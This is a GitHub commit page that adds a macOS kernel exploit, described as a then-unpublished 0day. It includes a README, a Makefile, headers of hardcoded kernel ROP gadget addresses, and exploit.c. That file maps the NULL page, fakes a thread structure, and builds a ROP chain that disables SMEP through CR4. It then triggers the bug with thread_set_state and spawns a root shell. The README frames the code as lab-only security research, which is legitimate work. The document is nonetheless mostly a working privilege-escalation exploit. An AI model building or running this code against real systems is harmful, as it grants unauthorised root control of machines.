Skip to content

Commit 95792c3

Browse files
committedSep 20, 2019
add macOS-Kernel-Exploit
1 parent f06d4f7 commit 95792c3

File tree

8 files changed

+443
-0
lines changed

8 files changed

+443
-0
lines changed
 

‎macOS-Kernel-Exploit/Makefile

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#
2+
# Makefile
3+
#
4+
# Created by Ilias Morad.
5+
# Copyright © 2019 Ilias Morad. All rights reserved.
6+
#
7+
8+
main: exploit.c gadgets.c kernel.s
9+
nasm -f macho32 -o kernel.o kernel.s
10+
gcc -o exploit -m32 -Wl,-pagezero_size,0 -masm=intel exploit.c gadgets.c kernel.o
11+
12+
clean:
13+
rm exploit *.o

‎macOS-Kernel-Exploit/README.md

+49
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# macOS-Kernel-Exploit
2+
3+
## DISCLAIMER
4+
You need to know the KASLR slide to use the exploit. Also SMAP needs to be disabled which means that it's not exploitable on Macs after 2015. These limitations make the exploit pretty much unusable for in-the-wild exploitation but still helpful for
5+
security researchers in a controlled lab environment.
6+
7+
This exploit is intended for security research purposes only.
8+
9+
## General
10+
macOS Kernel Exploit for CVE-????-???? (currently a 0day.
11+
I'll add the CVE# once it is published ;) ).
12+
13+
Thanks to @LinusHenze for this cool bug and his support ;P.
14+
15+
## Writeup
16+
17+
Probably coming soon.
18+
If you want to try and exploit it yourself, here are a few things to get you started:
19+
20+
- VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window
21+
- Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb
22+
- Have a look at the _kernel_trap function
23+
24+
25+
## Build
26+
27+
I recommend setting the bootargs to: `debug=0x44 kcsuffix=development -v `
28+
29+
:warning: **Note**: SMAP needs to be disabled on macs after 2015 (`-pmap_smap_disable`)
30+
31+
You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit)
32+
Downloading Xcode 9.4.1 Commandline Tools should be enough ;)
33+
Download: https://developer.apple.com/download/more/
34+
35+
```
36+
make
37+
```
38+
39+
## Execution
40+
41+
```
42+
./exploit <KASLR slide>
43+
```
44+
45+
Tested on macOS Mojave: `Darwin Kernel-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/DEVELOPMENT_X86_64 x86_64`
46+
47+
**Demo**:
48+
49+
[![asciicast](exploit.png)](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU)

‎macOS-Kernel-Exploit/definitions.h

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#ifndef definitions_h
2+
#define definitions_h
3+
4+
#include <string.h> // memset
5+
#include <mach/mach.h> // thread_set_state
6+
7+
#pragma pack(4)
8+
9+
#define x86_SAVED_STATE32 THREAD_STATE_NONE + 1
10+
#define x86_SAVED_STATE64 THREAD_STATE_NONE + 2
11+
12+
struct x86_saved_state32 {
13+
uint32_t gs; // 0x00
14+
uint32_t fs;
15+
uint32_t es; // 0x08
16+
uint32_t ds;
17+
uint32_t edi; // 0x10
18+
uint32_t esi;
19+
uint32_t ebp; // 0x18
20+
uint32_t cr2;
21+
uint32_t ebx; // 0x20
22+
uint32_t edx;
23+
uint32_t ecx; // 0x28
24+
uint32_t eax;
25+
uint16_t trapno; // 0x30
26+
uint16_t cpu; // 0x32
27+
uint32_t err; // 0x34
28+
uint32_t eip;
29+
uint32_t cs; // 0x3c
30+
uint32_t efl;
31+
uint32_t uesp; // 0x44
32+
uint32_t ss;
33+
};
34+
typedef struct x86_saved_state32 x86_saved_state32_t;
35+
36+
#define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \
37+
(sizeof (x86_saved_state32_t)/sizeof(unsigned int)))
38+
39+
#pragma pack(0)
40+
41+
#endif /* definitions_h */

‎macOS-Kernel-Exploit/exploit.c

+152
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
//
2+
// exploit.c
3+
//
4+
// Created by Ilias Morad.
5+
// Copyright © 2019 Ilias Morad. All rights reserved.
6+
//
7+
8+
#include <stdio.h>
9+
#include <stdlib.h>
10+
#include <unistd.h>
11+
12+
#include "definitions.h"
13+
#include "gadgets.h"
14+
15+
16+
#define DEBUG 1
17+
18+
19+
// Used in kernel.s
20+
extern uint64_t current_proc;
21+
extern uint64_t proc_ucred;
22+
extern uint64_t posix_cred_get;
23+
extern uint64_t return_to_user;
24+
25+
extern void escalatePrivs(void);
26+
27+
28+
// For debugging
29+
void hexdump(const void* data, size_t size) {
30+
char ascii[17];
31+
size_t i, j;
32+
ascii[16] = '\0';
33+
for (i = 0; i < size; ++i) {
34+
printf("%02X ", ((unsigned char*)data)[i]);
35+
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
36+
ascii[i % 16] = ((unsigned char*)data)[i];
37+
} else {
38+
ascii[i % 16] = '.';
39+
}
40+
if ((i+1) % 8 == 0 || i+1 == size) {
41+
printf(" ");
42+
if ((i+1) % 16 == 0) {
43+
printf("| %s \n", ascii);
44+
} else if (i+1 == size) {
45+
ascii[(i+1) % 16] = '\0';
46+
if ((i+1) % 16 <= 8) {
47+
printf(" ");
48+
}
49+
for (j = (i+1) % 16; j < 16; ++j) {
50+
printf(" ");
51+
}
52+
printf("| %s \n", ascii);
53+
}
54+
}
55+
}
56+
}
57+
58+
void fail() {
59+
puts("[-] Stopping exploit");
60+
exit(-1);
61+
}
62+
63+
int main(int argc, const char *argv[]) {
64+
kern_return_t err = -1;
65+
uint64_t kSlide = -1;
66+
67+
// after we return to userland our process state is super messed up
68+
// in order to be able to get a "stable" environment
69+
// our userland shellcode will just exec() itself again as root
70+
if(getuid() == 0) {
71+
puts("[+] Userland shellcode says hi!");
72+
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
73+
system("/bin/bash");
74+
exit(0);
75+
}
76+
77+
if(argc < 2) {
78+
puts("[-] You need to provide the kernel slide.");
79+
fail();
80+
} else {
81+
kSlide = strtol(argv[1], NULL, 0x10);
82+
printf("[*] Kernel slide: 0x%llx\n", kSlide);
83+
}
84+
85+
current_proc = 0xffffff8000968360 + kSlide;
86+
proc_ucred = 0xffffff8000820d30 + kSlide;
87+
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
88+
return_to_user = 0xffffff8000229680 + kSlide;
89+
90+
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
91+
92+
vm_address_t pageZero = 0x00;
93+
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
94+
if(err != 0) {
95+
printf("[-] vm_allocate(pageZero) returned %d\n", err);
96+
fail();
97+
}
98+
memset(0,0,0x1000);
99+
puts("[*] Mapped NULL Page to catch GS accesses");
100+
101+
vm_address_t fakeThread = 0;
102+
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
103+
if(err != 0) {
104+
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
105+
fail();
106+
}
107+
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);
108+
109+
uint64_t *fakeStack = (uint64_t *)0x5d000000;
110+
vm_address_t fakeStackk = 0x5d000000;
111+
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
112+
if(err != 0) {
113+
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
114+
fail();
115+
}
116+
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);
117+
118+
x86_saved_state32_t state;
119+
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
120+
state.gs = 0x23;
121+
122+
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
123+
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
124+
// kernel executes iretq
125+
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
126+
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)
127+
128+
puts("[+] SAVED_STATE32 setup done!");
129+
130+
131+
// Disable SMEP
132+
int sp = 0;
133+
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
134+
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
135+
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
136+
// SMEP is disabled and we can jump to our userland code part
137+
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;
138+
139+
140+
if(DEBUG) {
141+
char c;
142+
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
143+
hexdump((const void *)fakeStackk, 0x20);
144+
puts("[DEBUG] Waiting...");
145+
// scanf(" %c", &c);
146+
}
147+
148+
puts("[+] Here we go...");
149+
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
150+
while(1) {}
151+
return 0;
152+
}

‎macOS-Kernel-Exploit/exploit.png

71.6 KB
Loading

‎macOS-Kernel-Exploit/gadgets.c

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
// ROP Helpers
2+
3+
void __attribute__((naked)) swapgs() {
4+
__asm__ __volatile__("swapgs; ret ");
5+
}

‎macOS-Kernel-Exploit/gadgets.h

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
//
2+
// gadgets.h
3+
//
4+
// Created by Ilias Morad.
5+
// Copyright © 2019 Ilias Morad. All rights reserved.
6+
//
7+
8+
#ifndef gadgets_h
9+
#define gadgets_h
10+
11+
/* Backup stack pivots */
12+
// 0xffffff80005ea56b: mov esp, 0x5d000000; ret;
13+
// 0xffffff80008e1834: mov esp, 0x10024; add cl, ch; ret;
14+
// 0xffffff800060ef11: mov esp, 0xff000000; ret;
15+
// 0xffffff8000a241ee: xchg esp, esi; dec dword ptr [rax - 0x77]; ret;
16+
17+
#define ROP_PIVOT_STACK 0xffffff80005ea56b // mov esp, 0x5d000000; ret;
18+
#define ROP_MOV_CR4_RAX 0xffffff800040b613 // mov cr4, rax; ret;
19+
#define ROP_POP_RAX 0xffffff8000229270 // pop rax; ret;
20+
#define ROP_POP_RDI 0xffffff8000228e74 // pop rdi; ret;
21+
#define ROP_POP_RSI 0xffffff800047c02e // pop rsi; ret;
22+
#define ROP_POP_RDX 0xffffff8000273d6f // pop rdx; ret;
23+
#define ROP_POP_RCX 0xffffff80007ce67a // pop rcx; ret;
24+
#define ROP_MOV_RAX_RCX 0xffffff80002e736e // mov rax, rcx; ret;
25+
26+
#define ROP_RET32_IRET 0xffffff80002298bc // iretq
27+
28+
#define CPU_ENABLE_SMEP 0x00000000001606e0
29+
#define CPU_DISABLE_SMEP 0x00000000000606e0
30+
31+
32+
void __attribute__((naked)) swapgs();
33+
34+
#endif

0 commit comments

Comments
 (0)
Please sign in to comment.